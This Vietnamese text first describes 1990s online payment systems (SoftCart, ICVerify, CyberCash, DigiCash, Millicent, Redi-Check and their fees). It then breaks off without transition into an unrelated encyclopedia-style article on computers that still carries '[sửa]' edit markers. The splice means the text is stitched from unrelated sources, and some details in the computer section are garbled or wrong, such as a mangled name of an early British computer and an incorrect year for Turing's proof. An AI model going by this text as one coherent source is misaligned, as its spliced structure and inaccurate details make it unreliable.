MercantecỊs SoftCart Version 3.0 là một chương trình có chức năng của một giỏ mua hàng điện tử trực tuyến hiện đang sẵn có trên thị trường. Sau khi một phần mềm như trên được cài đặt trên máy chủ WEB thì bạn chỉ cần đặt một kết nối HTML trên trang WEB mô tả sản phẩm đến vị trí của chương trình này với các biểu mẫu để người mua có thể điền các thông tin về sản phẩm, thay đổi số lượng và chủng loại mặt hàng rồi hoàn thành giao dịch đó và chuyển đến một cơ chế xử lý giao dịch để thực hiện hoàn tất một quá trình mua hàng. Nếu như kho hàng của bạn nằm trong một cơ sỡ dữ liệu thì bàn cần có thêm các kỹ năng cần thiết để viết các hàm gọi đến cơ sở dữ liệu này dưới dạng .dll đối với môi trường Windows hay so đối với môt trường Unix. Nói chung các phần mềm dạng này sẽ cung cấp một số tính năng căn bản sau đây:

§ Liên kết các yêu cầu bán hàng đến một biểu mẫu đặt hàng mà khách hàng có thể truy nhập qua WEB.

§ Hoàn thành biểu mẫu đặt hàng sau khi đã lựa chọn hàng hoá và số lượng, rồi cập nhật thêm các thông tin về thẻ tín dụng.

§ Xử lý các biểu mẫu đặt hàng, thông thường là chuyển đổi các dữ liệu ở đó thành dạng một tệp để xử lý theo gói (sẽ cần thêm một chương trình riêng rẽ nếu như có nhu cầu xử lý các giao dịch một cách trực tuyến).

§ Gửi thư biên lai hoàn chỉnh đến khách hàng qua thư điện tử và kiểm tra xác thực việc mua bán.

§ Hỗ trợ khả năng mềm dẻo trong xử lý đơn đặt hàng sao cho hàng hoá có thể được giao nhanh nhất, việc xử lý có thể được thực hiện bởi bộ phận bán hàng hoặc bất kỳ một người nào đó được uỷ quyền.

Một số chương trinh còn cung cấp thêm các tính năng bổ trợ sau:

§ Có sẵn một cơ chế tìm kiếm cho các sản phẩm trong cơ sở dữ liệu.

§ Hỗ trợ các đối tượng HTML động sao cho giá cả có thể thay đổi nhanh chóng phụ thuộc vào số lượng đặt hàng.

§ Hỗ trợ các biểu mẫu thu thập thông tin bổ trợ như thông tin tìm hiểu về khách hàng, danh sách địa chỉ e-mail của các khách hàng được xắp xếp theo nhóm quan tâm đến một sản phẩm hoặc một dịch vụ mới nào đó.

§ Hỗ trợ EDI cho việc xử lý các đơn đặt hàng điện tử trong môi trường doanh nghiệp-tới-doanh nghiệp (B2B).

Các công việc này được xử lý trong một môi trường an toàn bảo mật (SSL). Phần mềm giỏ mua hàng điện tử được liên kết với một khoá mã bảo mật SSL sao cho tất cả các dữ liệu được truyền giữa máy chủ của bạn và trình duyệt WEB của khách hàng (giả sử là trình duyệt này hỗ trợ bảo mật SSL) được mã hoá bảo mật khỏi những tay rình trộm trên mạng.



4. Các bộ sử lý giao dịch



ICVerify, được sát nhập với CyberCash vào tháng 5 năm 1998, là một trong các doanh nghiệp trong làn sóng mới của thương mại trên Internet. Bộ xử lý giao dịch của nó, là một sản phẩm phần mềm thực hiện tất cả các công việc của một trạm đầu cuối của các cửa hàng bách hoá trong thế giới thực trừ một việc là nó được đặt trên một WEB site. ICVerify có thể chạy trên nền Windows NT và nhiều phiên bản Unix khác nhau hoặc cũng có thể là một thành phần ghép thêm vào các hệ cơ sở dữ liệu Oracle. Sẽ cần thêm một vài kiến thực về ngôn ngữ kịch bản Perl để thực hiện phần mềm này, tuy nhiên nếu bạn đã giao việc tích hợp hệ thống cho một đối tác nào đó thì sẽ không phải lo ngại gì về vấn đề này.

Phần mềm ICVerify thực hiện các công việc mà một trạm tính tiền đầu cuối thực hiện. Nó nhận số thẻ tín dụng của người dùng, số nhận dạng của người bán, các dữ liệu giao dịch (ngày, thời gian, số lượng), tạo lại thành các khuôn dạng chuẩn để xử lý, tao lời gọi đến các hàm có liên quan và hoàn thành các giao dịch. Nó cũng lưu lại các thông tin về thanh toán và mã xác thực, là dãy số được in trên phiếu nhận dạng thanh toán mỗi giao dịch được hoàn thành bởi bộ xử lý (phần mềm cũng có thể xử lý theo gói, có nghĩa là nó thu nhận tất cả các số liệu rồi xử lý vào ban đêm). Các số liệu giao dịch sau đó có thể được chạy trực tiếp thông qua một phần mềm giỏ mua hàng điện tử để xử lý đơn đặt hàng và tính toán các số liệu kế toán.

Phần mềm đóng gói ICVerify có thể được thiết lập để quản lý nhiều cửa hàng khác nhau, là nó còn có thể xử lý các giao dịch tuần hoàn như là với các khoản vay hoặc trả trước định kỳ. Khối xử lý các giao dịch thông thường chỉ chiếm khoảng 3.5 kilobyte bộ nhớ. Phần mềm này cũng bao gồm một số phần cho phép xử lý trong các ngành công nghiệp đặc biệt hoặc xử lý giao dịch của các công ty lớn với các khoản giảm giá theo định mức khác nhau.

Rủi ro nhiều nhất trong việc xử lý thẻ tín dụng bằng điện thoại hoặc thông qua WEB là người sử dụng có thể sử dụng một thẻ tín dụng hoặc số thẻ tín dụng ăn cắp của người khác. ICVerify là một trong số các sản phẩm có thể phần nào chống lại được các trường hợp này bằng việc kiểm tra tính đồng nhất của địa chỉ người mua hàng với địa chỉ được lưu trữ trên máy tính chứa cơ sở dữ liệu về địa chỉ của thẻ tín dụng.



4.1. Cyber Cash



CyberCash được biết đến như một công ty nối tiếng trong lĩnh vực xử lý các giao dịch cho thương mại điện tử. Có trụ sở ở Reston, Virginia, CyberCash cung cấp một hệ thống gọi là CashRegister cho phép các cửa hàng trên WEB có thể cung cấp các phương thức thanh toán sau cho khách hàng:

§ Thanh toán bằng thẻ tín dụng bao gồm các loại thẻ như Visa, MasterCard, American Express, Discover.

§ CyberCoin cho phép người dùng mua các sản phẩm có giá từ 25 xen đến 10 USD.

§ Séc điện tử và khả năng xử lý séc qua Internet.

CashRegister có thể tích hợp với một Website sẵn có và hoạt động trên nền Windows NT hay Unix. Người bán có thể cài đặt phần mềm bằng cách tải xuống miễn phí từ WEB site của CyberCash là www.cybercash.com hoặc có thể kết hợp với các công ty điều hành siêu thị trên Internet, các ISP đã có thoả thuận sử dụng CashRegister. Trong khi phần mềm CashRegister là miễn phí thì những người bán hàng thường bù cho CyberCash khoảng vài xen cho một giao dịch.

CashRegister là một phần mềm thực hiện các chức năng về phía người bán hàng. Ðể sử dụng hệ thống, khách hàng hoặc có thể chỉ sử dụng một trình duyệt WEB mà không cần phải thêm bất kỳ phần mềm hỗ trợ nào để điền vào các biểu mẫu mua hàng trên Internet hoặc họ có thể tải xuống một phần mềm miễn phí của CyberCash gọi là CyberCash Wallet, phần mềm này cho phép họ thiết lập một tài khoản với các thông tin trên thẻ tín dụng của mình, CyberCoins và séc điện tử. CyberCash chào hàng một vài hệ thống thanh toán khác nhau sẽ được xem xét chi tiết dưới đây:



a. Thanh toán bằng thẻ tín dụng



CyberCash Secure Internet Credit Card Service là một phần của CashRegister được giới thiệu lần đầu tiên vào tháng 5 năm 1995. Nó cho phép khách hàng với thẻ tín dụng có thể mua hàng hoặc dịch vụ từ các cửa hàng trên mạng đã cài đặt CyberCash CashRegister. Ðể hoàn tất phần mềm này người bán hàng phải tải xuống một bộ công cụ phần mềm từ WEB site của CyberCash. Việc cài đặt phần mềm yêu cầu một số kiến thức về Perl và HTML, các chi tiết sẽ được chỉ rõ khi tải xuống chương trình từ WEB site.

Qúa trình cài đặt sẽ tích hợp WEB site của bạn với một phần mềm máy chủ CyberCash để xử lý thanh toán.

Sau khi CashRegister được cài đặt người bán hàng phải đăng ký một tài khoản tại một nhà băng nào đó chấp nhận thanh toán thông qua việc xử lý thẻ tín dụng của CyberCash. Hiện tai các nhà băng sau ở Bắc Mỹ hỗ trợ CyberCash:

§ CheckFree Corp.

§ First Data Corp.

§ Global Payment Systems.

§ NOVA Information Systems.

§ Vital Processing Servers.

CyberCash lặp lại các công việc xử lý thẻ tín dụng trong thế giới thực qua Internet. Dưới đây là cách mà môt hệ thống xử lý thẻ tín dụng điển hình thực hiện:

1.Khách hàng đưa thẻ tín dụng cho ngưòi bán.

2.Người bán hoặc đôi lúc khách hàng, đưa thẻ vào một máy đọc thẻ.

3.Thông tin trên dải băng từ của thẻ được truyền đến một bộ xử lý thẻ tín dụng để xác thực.

4.Thông tín trên thẻ được so sánh với một tập hợp các nguyên tắc đã được định nghĩa trước bởi người phát hành thẻ cho khách hàng (ví dụ như Visa) như hạn mức tín dụng và ngày hết hạn.

5.Sau khi qúa trình xác minh được chấp nhận, hệ thống sẽ gửi lại cho người bán một mã xác thực.

6.Người bán sử dụng mã xác thực này trên phiếu thanh toán.

CyberCash tự động hoá quá trình xử lý này thông qua phần mềm của họ và mối quan hệ với các nhà băng khác và các mạng xác thực thẻ tín dụng. Sau khi khách hàng trên WEB nhập số thẻ tín dụng vào phần mềm CashRegister, thông qua CyberCash Wallet hoặc chỉ đơn giản là nhập nó vào một biểu mẫu trên trang WEB thì CashRegister sẽ định dạng giao dịch vào và chuyển nó qua Internet tới các trung tâm xử lý xác thực. Sau khi quá trình xác thực được chấp nhận thì nó sẽ được gửi lại CashRegister để đảm bảo chấp nhận quá trình mua bán này cho khách hàng. Toàn bộ quá trình này mất khoảng 15 giây. CashRegister chạy trên rất nhiều môi trường khác nhau bao gồm Solaris, SUNOS, SGI, HP-UX, BSDI, Windows, Linux và Macintosh.



b. Internet Wallet



Trong khi khách hàng mua hàng tại các cửa hàng cài đặt CyberCash không phải cần thêm bất cứ phần mềm nào ngoài trình duyệt WEB thông qua việc nhập các thông tin của thẻ tín dụng vào một biểu mẫu có sẵn trên trang WEB thì họ cũng có thể tự thiết lập "một chiếc ví điện tử" cho phép mình có thể có nhiều lựa chọn thanh toán khác nhau. CyberCassh Internet Wallet có thể được cài đặt trên máy của khách hàng và cung cấp các phương thức thanh toán cũng giống như của CashRegister:

§ Thanh toán bằng thẻ tín dụng.

§ Thanh toán bằng CyberCoin.

§ Thanh toán bằng séc điện tử.

Ðể có chương trình Internet Wallet, khách hàng có thể tải xuống miễn phí từ WEB site của CyberCash là www.cybercash.com . Rất nhiều các cửa hàng trên WEB sử dụng các phần mềm của CyberCash cũng cho phép khách hàng tải xuống phần mềm này từ chính WEB site của họ và CyberCash sẽ giúp đỡ người dùng cách cài đặt chương trình này.

Trong quá trình cài đặt chương trình, người sử dụng thiết lập một Wallet ID, là một cách để người bán hàng có thể nhận dạng được người mua, đây cũng là một cách giống như số PIN trên thẻ ghi nợ. Ngoài ra người bán cũng cần phải có một ID để người mua có thể nhận ra họ.

Trong lúc thiết lập Wallet người dùng sẽ tải xuống một chương trình được gọi là CyberCoin bằng việc rút tiền từ nhà băng qua Internet cũng giống bạn làm việc đó với một máy rút tiền tự động -ATM. Ðể xử lý thẻ tín dụng, chương trình sẽ chuyển số tiền đi từ tài khoản thẻ tín dụng và xử lý nó như một giao dịch thông thường, chứ không phải là một khoản tiền trả trước thường bị tính phí. Sau khi Wallet được cài đặt xong, khách hàng có thể bắt đầu việc mua hàng từ các cửa hàng chấp nhận các phương thức thanh toán CyberCash.

CyberCoin được xử dụng cho các khoản thanh toán rất nhỏ hoặc các khoản lặt vặt từ 25 xen đến 10 USD. Rất nhiều các sản phẩm hoặc dịch vụ được bán qua WEB nhu các bài báo hay một bức ảnh chỉ có mức giá thấp và ít tăng đến nỗi khách hàng không muốn sử dụng thẻ tín dụng do sẽ bị tính phí, đối với các mặt hàng có trị giá cao hơn thì khách hàng hay sử dụng thẻ tín dụng hơn là CyberCoin. Ðâu là điều khác nhau giữa một người sử dụng Wallet và một người không sử dụng Wallet, đó là việc xử lý thanh toán sẽ thuận tiện hơn và người sử dụng Wallet sẽ có một số lợi điểm hơn như việc các phần mềm Wallet và CashRegister sẽ lưu lại một bản ghi giao dịch và nó sẽ xuất hiện trên bản kê tiếp theo của thẻ tín dụng giúp khách hàng dễ theo dõi hơn các giao dịch của mình.



c. DigiCash



DigiCash có trụ sở tại Amsterdam là một công ty cung cấp các phương thức thanh toán an toàn và bảo mật, người tiên phong của ecash-tiền mặt điện tử được sử dụng qua Internet. Dựa trên công nghệ mã hoá khoá công cộng, cho phép người sử dụng và nhà băng trao đổi chữ ký điện tử với nhau để kiểm tra nhận dạng, ecash cho phép khách hàng tải về máy tính PC của họ tiền số hoá từ tài khoản ngân hàng để thực hiện việc mua hàng điện tử.

DigiCash môt tả ecash "như là sử dụng một máy rút tiền tự động ảo". Khi người sử dụng kết nối qua Internet vào một nhà băng tham gia vào chương trình ecash, họ sẽ tải xuống các "đồng xu điện tử" về đĩa cứng trên máy tính của mình. Sau khi thực hiện việc đặt hàng từ một cửa hàng trên WEB cũng tham gia vào chương trình ecash, khách hàng sẽ chuyển các "đồng xu điện tử" này từ trình duyệt WEB trên máy PC của mình về máy chủ của người bán hàng.

Phần mềm cho người sử dụng là khách hàng được gọi là purse-ví tiền, có giao diện đồ hoạ và chạy trên môi trưòng Windows 3.1 và các phiên bản tiếp sau. Người bán hàng tham gia vào chương trình ecash sẽ cần một phần mềm được cung cấp bởi DigiCash, có nhiều phiên bản từ xử lý từ các giao dịch đơn giản đến cả một hệ thống kế toán phức tạp bao gồm cả các chức năng như điều khiển kho hàng.

Các nhà băng và công ty lớn tham gia vào chương trình ecash có thể kể đến bao gồm: Deutsche Bank, Germany; Bank Austria, Austria; Den Norske Bank, Norway; Advance Bank, Australia; Nomura Reaserch Instritute, Japan; Mark Twain Bank, USA; và Eunet, Finland.



4.2. Giải pháp Millicent của Digital Equipment



Millicent là một công nghệ vi giao dịch được phát kiến bởi Digital Equipment Corp vào năm 1997. Hệ thống này có thể xử lý các giao dịch nhỏ đến một phần mười xen. Ðây là một hệ thống sử dụng các thủ tục được gọi là "brokers" để tập hợp các giao dịch nhỏ thành một lượng lớn đủ để xử lý và hình thành một "scrip-chứng khoán tạm thời" bao gồm một thông điệp xác định rằng thông điệp này có một giá trị riêng. Những người mua được quyền mua các chứng khoán tạm thời này sẽ xác định giá trị của nó.

Do các chứng khoán tạm thời này chỉ có giá trị kinh tế đối với người tạo ra nó nên không cần một giao dịch an toàn cho các chứng khoán tạm thời này. Người bán hàng phát hành các chứng khoán tạm thời này sẽ bảo vệ nó bằng việc sử dụng một mã khoá bảo mật trong phần tóm tắt của thông điệp.

Chủ tịch Robert Palmer của Digital mô tả Millicent là một phương thức tuyệt hảo cho các trò chơi video thanh toán theo nhu cầu sử dụng hoặc các bài báo chỉ bao gồm các ký tự và các người bán chứng khoán riêng lẻ. Millicent được giới thiệu vào đầu năm 1998.



a. Séc

Có hai cách để WEB site của bạn có thể nhận séc. Bạn có thể xây dựng các tờ séc ảo hoặc nhận thanh toán từ các thẻ ghi nợ liên kết với các tài khoản séc.

Thẻ ghi nợ cũng giống như thẻ tín dụng, chỉ khác là nó không trực tiếp truy nhập tới tài khoản séc của khách hàng. Nó là hậu duệ của thẻ ATM đã phổ biến từ đầu những năm 1980 được sử dụng để rút tiền từ các máy rút tiền của nhà băng và vẫn còn được sử dụng tới nay.

Ðiều thay đổi hiện nay các giao dịch của chúng đã được xử lý bình thường qua các mạng thẻ tín dụng của nhà băng. Giờ đây hầu hết các thẻ này đều có biểu tượng của Visa hoặc MasterCard. Ðiều đó có nghĩ là bạn có thể xử lý các giao dịch thẻ ghi nợ hết như là xử lý các giao dịch thẻ tín dụng, nhưng do tiền được chuyển tới trực tiếp từ tài khoản séc của người sử dụng nên chiết khấu sẽ thấp hơn.



b. Redi-Check



Redi-Check Inc. là một công ty chuyên xử lý các giao dịch ở Salt Lake City, Utah, cho ra đời một sản phẩm gọi là Internet Transaction Gateway, theo công bố là một phần mềm cho phép các cửa hàng trên WEB tiếp nhận séc trực tuyến. Redi-Check cũng chào hàng các dịch vụ bảo đám séc kể từ khi thành lập và mở rộng các dịch vụ này lên Internet kể từ tháng 3 năm 1997. Người bán có thể nhận được các dịch vụ xử lý, bảo vệ hoặc bảo đảm trên các tấm séc được tạo thành trực tuyến.

Ðể chào hàng dịch vụ này Redi-Check sử dụng các số ABA được in trên tấm séc giấy ở góc dưới bên trái của tờ séc. Số nhận dạng này sẽ được kiểm tra với hệ thống Federal Reserve để kiểm tra nhận dạng về nhà băng và khách hàng. Khi khách hàng viết một tấm séc trên máy chủ của người bán, số này sẽ được chuyển trực tiếp đến máy chủ của Redi-Check sau đó được kiểm tra với một danh sách mã bảo đảm của Federal Reserve. Redi-Check sau đó có thể xử lý giao dịch này như đối với một thẻ ghi nợ. Sau khi quá trình này hoàn thành cả người mua và người bán đều nhận được một bức thư điện tử để kiểm chứng giao dịch này.

Có ba mức bảo vệ được Redi-Check chào hàng. Trong quá trình xử lý số của nhà băng chỉ được kiểm tra thông qua hệ thống cơ sở dữ liệu của Federal Reserve. Ðể bảo vệ cho những người bán có thể nhận được tấm séc này số tài khoản của người mua sẽ được so sánh với một danh sách các tấm séc hỏng và các tài khoản đã đóng. Một tấm séc đảm bảo giống như tên của nó mang ý nghĩa, người bán sẽ đảm bảo nhận được tiền thanh toán và cho phép họ có thể giao hàng ngay lập tức. Mỗi mức của dịch vụ sẽ đòi hỏi thêm một quá trình xử lý và sẽ tốn thêm các khoản chi phí.

Hệ thống của Redi-Check không chỉ giảm các chi phí cho hoạt động của người bán, nó còn có thể được dễ dàng cài đặt trên máy chủ WEB của bạn với một vài đoạn mã HTML và liên kết biểu mẫu đặt hàng của bạn với máy chủ Redi-Cash.

Vào năm 1998, Redi-Check cung cấp dịch vụ này cho các cửa hàng trên WEB với mức giá 249 USD và giảm giá 2% cho tất cả các giao dịch với điều kiện tối thiểu giao dịch đó có trị giá 25 USD. Dịch vụ bảo vệ séc cần thêm 15 USD nữa cho phí cài đặt và có giảm giá từ 0.02% cho đến 0.18% phụ thuộc vào độ lớn của số tiền trên séc. Dịch vụ séc bảo đảm có mức giá giống như bảo hiểm, với chi phí thêm trong khi thiết lập ban đầu là 50 USD và giảm giá 1.5% cho 500 USD giao dịch đầu tiên, 1.5% cho các giao dịch tiếp theo trong khoảng từ 500 USD đến 2,500 USD và tối đa là các séc có trị giá 2,500 USD. Tuy nhiên các dịch vụ bảo vệ và bảo đảm được sử dụng độc lập với nhau.

Máy tính, cũng gọi là máy vi tính, là những thiết bị hay hệ thống dùng để tính toán hay kiểm soát các hoạt động mà có thể biểu diễn dưới dạng số hay quy luật lôgic.
Máy tính được lắp ghép bởi các thành phần có thể thực hiện các chức năng đơn giản đã định nghĩa trước. Quá trình tác động tương hỗ phức tạp của các thành phần này tạo cho máy tính một khả năng xử lý thông tin. Nếu được thiết lập chính xác (thông thường bởi các chương trình máy tính) máy tính có thể mô phỏng lại một số khía cạnh của một vấn đề hay của một hệ thống. Trong trường hợp này khi được cung cấp một bộ dữ liệu thích hợp nó có thể tự động giải quyết vấn đề hay dự đoán trước sự thay đổi của hệ thống.

Khoa học nghiên cứu về lý thuyết, thiết kế và ứng dụng của máy tính được gọi là khoa học máy tính, hay khoa học điện toán.

Từ "máy tính" (computers), đầu tiên, được dùng cho những người tính toán số học, có hoặc không có sự trợ giúp của máy móc, nhưng hiện nay nó có nghĩa là máy móc hoàn toàn. Đầu tiên máy tính chỉ giải các bài toán số học, nhưng các máy tính hiện đại làm được nhiều hơn thế. Máy tính có thể mua ở Anh đầu tiên là máy Ferrani star theo đề cương "bé."

[sửa]
Các nguyên lý cơ bản
Máy tính có thể làm việc thông qua sự chuyển động của các bộ phận cơ khí, electron, photon, hạt lượng tử hay các hiện tượng vật lý khác đã biết. Mặc dù máy tính được xây dựng từ nhiều công nghệ khác nhau song gần như tất cả các máy tính hiện nay là máy tính điện tử.

Máy tính có thể trực tiếp mô hình hóa các vấn đề cần được giải quyết, trong khả năng của nó các vấn đề cần được giải quyết sẽ được mô phỏng gần giống nhất với những hiện tượng vật lý đang khai thác. Ví dụ, dòng chuyển động của các điện tử (electron) có thể được sử dụng để mô hình hóa sự chuyển động của nước trong đập. Các máy tính tương tự (analog computer) giống như thế đã rất phổ biến trong thập niên 1960 nhưng hiện nay còn rất ít.

Trong phần lớn các máy tính ngày nay, trước hết, mọi vấn đề sẽ được chuyển thành các yếu tố toán học bằng cách diễn tả mọi thông tin liên quan thành các số theo hệ nhị phân (hệ thống đếm dựa trên các số 0 và 1 hay còn gọi là hệ đếm cơ số 2). Sau đó, mọi tính toán trên các thông tin này được tính toán bằng đại số Bool (Boolean algebra).

Các mạch điện tử được sử dụng để mô tả các phép tính Bool. Vì phần lớn các phép tính toán học có thể chuyển thành các phép tính Bool nên máy tính điện tử đủ nhanh để xử lý phần lớn các vấn đề toán học (và phần lớn thông tin của vấn đề cần giải quyết đã được chuyển thành các vấn đề toán học). Ý tưởng cơ bản này, được nhận biết và nghiên cứu bởi Claude E. Shannon, đã làm cho máy tính kỹ thuật số (digital computer) hiện đại trở thành hiện thực.

Máy tính không thể giải quyết tất cả mọi vấn đề của toán học. Alan Turing đã sáng tạo ra khoa học lý thuyết máy tính trong đó đề cập tới những vấn đề mà máy tính có thể hay không thể giải quyết.

Khi máy tính kết thúc tính toán một vấn đề, kết quả của nó được hiển thị cho người sử dụng thấy thông qua thiết bị xuất như: bóng đèn, màn hình , máy in, ...

Những người mới sử dụng máy tính, đặc biệt là trẻ em, thường cảm thấy khó hiểu về ý tưởng cơ bản là máy tính chỉ là một cái máy, nó không thể "suy nghĩ" hay "hiểu" những gì nó hiển thị. Máy tính chỉ đơn giản thi hành các tìm kiếm cơ khí trên các bảng mầu và đường thẳng đã lập trình trước, rồi sau đó nó được chuyển đổi thành các mẫu tùy ý của ánh sáng bởi thiết bị đầu ra. Chỉ có bộ não của con người nhận thức được các mẫu này tạo thành các chữ hay số và gắn ý nghĩa cho chúng. Trong quan điểm của máy tính thì mọi thứ mà nó "nhận thấy" (kể cả khi máy tính được coi là tự nhận biết) chỉ là các hạt electron tương đương với các số 0 và 1. Xem thêm trí tuệ nhân tạo (artificial intelligence) và robot.

[sửa]
Sự phát triển lũy thừa của công nghệ máy tính
Các thiết bị tính toán tăng gấp đôi năng lực (được định nghĩa là số phép tính thực hiện trong một giây cho mỗi 1.000 USD chi phí) sau mỗi 18 đến 24 tháng kể từ năm 1900. Gordon E. Moore, người đồng sáng lập ra Intel, lần đầu tiên đã mô tả tính chất này của sự phát triển vào năm 1965 (Xem định luật Moore). Cùng với việc tăng khả năng tính toán trên một đơn vị chi phí thì tốc độ của sự thu nhỏ kích thước cũng tương tự. Những chiếc máy tính điện tử đầu tiên như ENIAC (ra đời năm 1946) là một thiết bị khổng lồ nặng hàng tấn, tiêu thụ nhiều điện năng, chiếm một diện tích lớn, thực hiện được ít phép tính và đòi hỏi nhiều người điều khiển để có thể hoạt động được. Chúng đắt đến mức chỉ có các chính phủ hay các viện nghiên cứu lớn mới có đủ điều kiện để duy trì hoạt động của chúng. Ngược lại, các máy tính ngày nay có nhiều sức mạnh hơn, rẻ tiền hơn, có kích thước nhỏ hơn, tiêu thụ ít điện năng hơn và phổ biến ở mọi nơi.

[sửa]
Phân loại máy tính
Các phần dưới đây mô tả các xu hướng khác nhau trong sự phân loại các máy tính.

[sửa]
Theo mục đích sử dụng
Siêu máy tính
Siêu máy tính cỡ nhỏ
Mainframe
Máy chủ doanh nghiệp
Máy tính mini
Máy trạm (workstation)
Máy tính cá nhân (PC)
Máy tính để bàn (Desktop)
Máy tính xách tay (Laptop)
Máy tính bảng con
Thiết bị hỗ trợ kỹ thuật số cá nhân (PDA)
Máy tính tháo lắp
Điểm yếu của xu hướng phân loại này là tính chất mơ hồ của nó. Nó thường được sử dụng trong sự phân loại tại một thời điểm nào đó trong sự phát triển của ngành công nghiệp máy tính. Sự phát triển nhanh chóng của công nghiệp này đã làm cho định nghĩa trên nhanh chóng trở lên lạc hậu. Rất nhiều loại máy tính hiện nay không được còn sử dụng nữa, như máy phân tích vi phân (differential analyzer), không được đưa vào danh sách này. Các sơ đồ phân loại khác cần được đề ra để định nghĩa thuật ngữ máy tính một cách ít, hoặc không, mơ hồ hơn.

[sửa]
Theo mức cải tiến công nghệ
Một cách phân loại máy tính ít mơ hồ hơn là theo mức độ hoàn thiện của công nghệ. Những chiếc máy tính có mặt sớm nhất thuần túy là máy cơ khí. Trong thập niên 1930 các thành phần relay cơ-điện đã được giới thiệu vào máy tính từ ngành công nghiệp liên lạc viễn thông và trong thập niên 1940 những chiếc máy tính thuần túy điện tử đã được chế tạo từ những bóng điện tử. Trong hai thập niên 1950 và thập niên 1960 bóng điện tử dần dà được thay thế bởi bóng bán dẫn, và từ cuối thập niên 1960, đầu thập niên 1970 là bởi mạch tích hợp bán dẫn (chíp bán dẫn, hay IC) cho đến hiện nay.

Một hướng nghiên cứu phát triển gần đây là máy tính quang (optical computer) trong đó máy tính hoạt động theo nguyên lý của ánh sáng hơn là theo nguyên lý của các dòng điện; đồng thời, khả năng sử dụng DNA trong công nghệ máy tính cũng đang được thử nghiệm. Một nhánh khác của việc nghiên cứu có thể dẫn công nghiệp máy tính tới những khả năng mới như tính toán lượng tử, tuy rằng nó vẫn còn ở giai đoạn đầu của việc nghiên cứu.

[sửa]
Theo đặc trưng thiết kế
Các máy tính hiện đại đã liên kết các đặc trưng thiết kế chính được phát triển bởi nhiều người đóng góp trong nhiều năm. Các đặc trưng này phần lớn không phụ thuộc vào mức độ hoàn thiện của công nghệ. Các máy tính hiện đại nhận được khả năng tổng thể của chúng theo cách mà các đặc trưng này tác động qua lại với nhau. Một số đặc trưng quan trọng được liệt kê dưới đây.

[sửa]
Kỹ thuật Số và Tương tự
Một quyết định nền tảng trong việc thiết kế máy tính là hoặc sử dụng kỹ thuật số (digital) hoặc sử dụng kỹ thuật tương tự (analog). Các máy tính kỹ thuật số (digital computer) tính toán trên các giá trị số rời rạc (discreet value) hoặc giá trị tượng trưng (symbolic value), trong khi đó máy tính tương tự (analog computer) tính toán trên các tín hiệu dữ liệu liên tục (continuous data signal). Bắt đầu từ thập niên 1940, máy tính kỹ thuật số đã trở nên phổ biến hơn mặc dù máy tính tương tự vẫn được sử dụng cho một số mục đích đặc biệt như trong kỹ thuật robot và việc kiểm soát các lò xyclôtrôn. Các thiết kế khác dùng tính toán xung lượng và tính toán lượng tử cũng hiện hữu nhưng chúng hoặc được sử dụng cho các mục đích đặc biệt hoặc vẫn đang trong vòng thử nghiệm.

[sửa]
Nhị phân và Thập phân
Một phát triển quan trọng trong thiết kế tính toán kỹ thuật số là việc sử dụng hệ nhị phân như là hệ thống số đếm nội tại. Điều này đã bãi bỏ các yêu cầu cần thiết trong các cơ cấu kỹ thuật phức tạp của các máy tính sử dụng các hệ số đếm khác, chẳng hạn như hệ thập phân. Việc áp dụng hệ nhị phân đã làm cho việc thiết kế trở lên đơn giản hơn để thực hiện các phép tính số học và các phép tính lôgic.

[sửa]
Khả năng lập trình
Khả năng lập trình của máy tính (programmability), nghĩa là cung cấp cho nó một tập hợp các chỉ thị để thực hiện mà không có sự điều chỉnh vật lý đối với nó, là một đặc trưng thiết kế nền tảng của phần lớn các máy tính. Đặc trưng này là một sự mở rộng đáng kể khi các máy tính đã được phát triển đến mức nó có thể kiểm soát động luồng thực hiện của chương trình. Điều này cho phép máy tính kiểm soát được thứ tự trong sự thực thi các chỉ lệnh trong chương trình dựa trên các dữ liệu đã được tính ra.

Điểm nổi bật chính trong thiết kế này đã được đơn giản hóa một cách đáng kể với việc áp dụng các phép tính số học theo hệ đếm nhị phân để nó có thể mô tả hàng loạt các phép tính lôgic.

[sửa]
Lưu trữ
Trong quá trình tính toán, máy tính thông thường cần phải lưu trữ các giá trị trung gian để có thể sử dụng trong các tính toán sau đó. Khả năng thực hiện của máy tính phần lớn phụ thuộc vào tốc độ đọc các giá trị từ bộ nhớ và tốc độ ghi vào bộ nhớ, cũng như dung lượng bộ nhớ. Ban đầu bộ nhớ chỉ được sử dụng cho các giá trị trung gian nhưng từ thập niên 1940 thì chính bản thân chương trình cũng có thể được lưu trữ theo cách này. Điểm nổi trội này đã dẫn đến việc ra đời của những chiếc máy tính có sẵn chương trình đầu tiên của thế hệ máy tính ngày nay.

[sửa]
Theo năng lực sử dụng
Có lẽ cách tốt nhất để phân loại các thiết bị máy tính là theo năng lực nội tại của nó hơn là theo việc sử dụng, sự hoàn thiện công nghệ hay các đặc trưng thiết kế. Máy tính có thể chia làm ba dạng chính dựa theo năng lực sử dụng:

Các thiết bị có một mục đích chỉ có thể thực hiện duy nhất một chức năng (ví dụ cỗ máy Antikythera năm 87 trước công lịch, và máy dự báo thủy triều của Lord Kelvin năm 1876)
Các thiết bị có mục đích đặc biệt có thể thực hiện một số chức năng hữu hạn (ví dụ động cơ vi phân số 1. - Difference Engine No 1 - của Charles Babbage năm 1832 và máy phân tích vi phân của Vannevar Bush năm 1932)
Các thiết bị có mục đích không nhất định là các dạng máy tính sử dụng ngày nay.
[sửa]
Các máy tính có mục đích không nhất định
Theo định nghĩa thì một máy tính có mục đích không nhất định (general-purpose computer) có thể giải quyết bất kỳ vấn đề nào có thể biểu diễn bởi một chương trình và thực thi trong các giới hạn tạo bởi: khả năng lưu trữ của máy, kích thước của chương trình, tốc độ thực thi chương trình và độ tin cậy của máy tính. Năm 1934 Alan Turing chứng minh rằng, nếu được cung cấp một chương trình đúng, bất kỳ máy tính có mục đích không nhất định nào cũng có thể có hành vi như những máy tính khác. Chứng minh toán học này là hoàn toàn lý thuyết vì khi đó chưa có máy tính có mục đích không nhất định nào cả. Hệ quả của chứng minh này thật sâu sắc, ví dụ: bất kỳ một máy tính có mục đích không nhất định nào hiện nay đều có khả năng như những máy tính có mục đích không nhất định trong tương lai, mặc dù chậm hơn.

